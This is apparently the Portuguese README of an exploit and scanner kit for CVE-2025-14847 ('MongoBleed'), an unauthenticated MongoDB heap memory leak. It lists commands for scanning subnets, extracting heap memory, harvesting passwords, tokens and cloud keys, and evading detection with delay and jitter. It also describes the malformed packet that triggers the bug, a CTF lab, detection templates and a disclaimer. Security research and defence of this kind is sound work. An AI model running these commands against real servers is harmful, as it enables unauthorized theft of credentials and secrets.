
Scanner e ferramenta de exploit para CVE-2025-14847 (MongoBleed). Vazamento de memória heap não autenticado do MongoDB via descompressão zlib. Detecção, extração de memória, análise de credenciais, varredura CIDR/lote, modelos Nuclei e laboratório CTF incluídos
Scanner e Kit de Exploração CVE-2025-14847
Um kit de pesquisa de segurança para MongoBleed -- uma vulnerabilidade crítica de vazamento de memória não autenticado na descompressão zlib do MongoDB que permite que atacantes extraiam dados sensíveis da memória heap do servidor sem autenticação.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# Nenhuma dependência externa -- apenas biblioteca padrão do Python 3
cd cli
# Detecta se um alvo é vulnerável (ação padrão)
python mongobleed.py -t localhost:27017
# Verifica uma sub-rede inteira
python mongobleed.py -t 192.168.1.0/24
# Extrai memória e analisa em busca de credenciais
python mongobleed.py -t target:27017 -e --credentials
# Modo seguro -- apenas detecção, sem exploração
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Scanner de linha de comando e ferramenta de exploração
│ ├── mongobleed.py # Ferramenta CLI principal
│ ├── requirements.txt # Dependências Python (apenas stdlib)
│ └── README.md # Documentação da CLI
├── lab/ # Ambiente de laboratório CTF baseado em Docker
│ ├── docker-compose.yml # Configuração multi-contêiner do laboratório
│ ├── vulnerable/ # Configurações vulneráveis do MongoDB
│ ├── patched/ # MongoDB corrigido para comparação
│ ├── no-zlib/ # Não explorável (zlib desabilitado)
│ ├── monitoring/ # Painel de visualização de ataques
│ ├── warmup-heap.sh # Preenche heap com dados sensíveis
│ └── README.md # Instruções de configuração do laboratório
├── nuclei/ # Modelos de varredura Nuclei
│ ├── CVE-2025-14847.yaml # Modelo de exploração ativa
│ ├── CVE-2025-14847-safe.yaml # Modelo de detecção segura
│ └── README.md # Documentação dos modelos Nuclei
├── docs/ # Documentação educacional
│ ├── README.md # Índice do caminho de aprendizado
│ ├── 01-fundamentals.md # Noções básicas de MongoDB e memória
│ ├── 02-vulnerability.md # Aprofundamento no CVE-2025-14847
│ ├── 03-exploitation.md # Exploração prática
│ ├── 04-detection.md # Caça e detecção
│ └── 05-defense.md # Estratégias de mitigação
└── README.md # Este arquivo
192.168.1.0/24, 10.0.0.0/16:27018)# Verifica alvo único
python mongobleed.py -t localhost:27017
# Verifica com saída detalhada
python mongobleed.py -t localhost:27017 -v
# Modo seguro -- apenas detecção, nunca envia payload de exploração
python mongobleed.py -t localhost:27017 -s
# Mostra informações da versão
python mongobleed.py -t localhost:27017 --version
# Varre uma sub-rede /24
python mongobleed.py -t 192.168.1.0/24
# CIDR com porta personalizada
python mongobleed.py -t 10.0.0.0/24:27018
# Varre a partir de arquivo de alvos (intervalos CIDR no arquivo são expandidos)
python mongobleed.py -T targets.txt -j 20 -o results.json
# O arquivo de alvos pode conter IPs, host:porta e intervalos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Extrai memória (intervalo de offset padrão 20-8192)
python mongobleed.py -t target:27017 -e
# Intervalo de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Extração contínua (Ctrl+C para parar)
python mongobleed.py -t target:27017 --continuous
# Força extração mesmo se a verificação de versão for inconclusiva
python mongobleed.py -t target:27017 -e --force
# Analisa memória vazada em busca de credenciais e segredos
python mongobleed.py -t target:27017 -e --credentials
# Analisa especificamente tokens
python mongobleed.py -t target:27017 -e --tokens
# Extrai strings imprimíveis
python mongobleed.py -t target:27017 -e --strings
# Saída hexdump
python mongobleed.py -t target:27017 -e --hexdump
# Adiciona atraso entre requisições (milissegundos)
python mongobleed.py -t target:27017 -e --delay 500
# Jitter aleatório no atraso
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Apenas detecção segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Detecção ativa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Varre múltiplos alvos
nuclei -t nuclei/ -l targets.txt
# Inicia todos os contêineres
cd lab && docker compose up -d
# Serviços:
# - localhost:27017 MongoDB 4.4.29 (Vulnerável + zlib)
# - localhost:27018 MongoDB 6.0.26 (Vulnerável + zlib)
# - localhost:27019 MongoDB 8.0.16 (Vulnerável + zlib)
# - localhost:27020 MongoDB 8.0.17 (Corrigido)
# - localhost:27021 MongoDB 8.0.16 (Sem zlib - não explorável)
# - localhost:8080 Painel de Monitoramento
# Aquece o heap com dados sensíveis antes da exploração
./warmup-heap.sh 27017 50
# Executa exploit contra o laboratório
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Alvo:
-t, --target TARGET Host:porta alvo ou intervalo CIDR (ex.: 192.168.1.0/24)
-T, --targets FILE Arquivo com lista de alvos (suporta CIDR por linha)
Detecção:
--detect Detecta se o alvo é vulnerável (ação padrão)
--version Mostra versão do MongoDB
-s, --safe Modo seguro - apenas detecção, sem exploração
Exploração:
-e, --extract Extrai memória via varredura de offset
--min-offset N Offset mínimo a sondar (padrão: 20)
--max-offset N Offset máximo a sondar (padrão: 8192)
--continuous Modo de extração contínua
--force Força extração mesmo se a verificação de versão falhar
Análise:
--credentials Analisa em busca de credenciais
--tokens Analisa em busca de tokens
--strings Extrai strings imprimíveis
--hexdump Exibe hexdump
Evasão:
--delay MS Atraso entre requisições (milissegundos)
--jitter Jitter aleatório no atraso
Saída:
-o, --output FILE Arquivo de saída (JSON)
-v, --verbose Saída detalhada
-q, --quiet Modo silencioso
--json Saída JSON
--no-color Desabilita cores
Conexão:
--timeout SECS Tempo limite de conexão (padrão: 10)
-j, --threads N Threads para varredura em lote (padrão: 10)
A ferramenta busca os seguintes padrões na memória extraída:
| Tipo | Padrão de Exemplo |
|---|---|
| senha | password: valor, passwd=valor |
| segredo | secret: valor |
| chave_api | api_key: sk_live_... |
| token | token: ... (16+ caracteres) |
| bearer_token | Bearer eyJ... |
| jwt | eyJ... (Base64 JWT) |
| uri_mongodb | mongodb://user:senha@host |
| uri_postgres | postgresql://... |
| uri_redis | redis://... |
| chave_stripe | sk_live_... |
| chave_openai | sk-... (48+ caracteres) |
| chave_acesso_aws | AKIA... |
| token_github | ghp_... |
| token_slack | xoxb-..., xoxp-... |
| flag_ctf | FLAG{...} |
| Item | Valor |
|---|---|
| CVE | CVE-2025-14847 |
| Nome | MongoBleed |
| CWE | CWE-130 (Manipulação Incorreta do Parâmetro de Comprimento) |
| CVSS | 8.7 (Alta) |
| Tipo | Vazamento de Memória Não Autenticado |
| Divulgado | 19 de dezembro de 2025 |
| Explorado em campo | 29 de dezembro de 2025 |
| Ramificação | Vulnerável | Corrigida |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 |
| 4.2.x | Todas as versões | Fim de vida - Sem correção |
| 4.0.x | Todas as versões | Fim de vida - Sem correção |
| 3.6.x | Todas as versões | Fim de vida - Sem correção |
MongoBleed explora uma falha na descompressão de mensagens zlib do MongoDB (message_compressor_zlib.cpp). O código vulnerável retorna o tamanho do buffer alocado em vez do comprimento real descomprimido, permitindo que atacantes leiam memória heap não inicializada.
1. CONNECT (no authentication required)
↓
2. SEND MALFORMED OP_COMPRESSED
┌──────────────────────────────────┐
│ originalOpcode: OP_MSG (2013) │
│ uncompressedSize: INFLATED │ ← Bug trigger
│ compressorId: zlib (2) │
│ compressedMessage: [small data] │
└──────────────────────────────────┘
↓
3. SERVER ALLOCATES OVERSIZED BUFFER
[ small real data | uninitialized heap memory ]
↓
4. BSON PARSER READS INTO HEAP GARBAGE
Inflated document length causes parser to read
beyond actual data into heap memory
↓
5. ERROR RESPONSE LEAKS MEMORY
"invalid BSON field name 'password=secret123...'"
Este kit é fornecido apenas para testes de segurança autorizados, pesquisa e fins educacionais. Utilize apenas em sistemas que você possui ou tem permissão explícita para testar. O acesso não autorizado a sistemas de computador é ilegal.
MIT License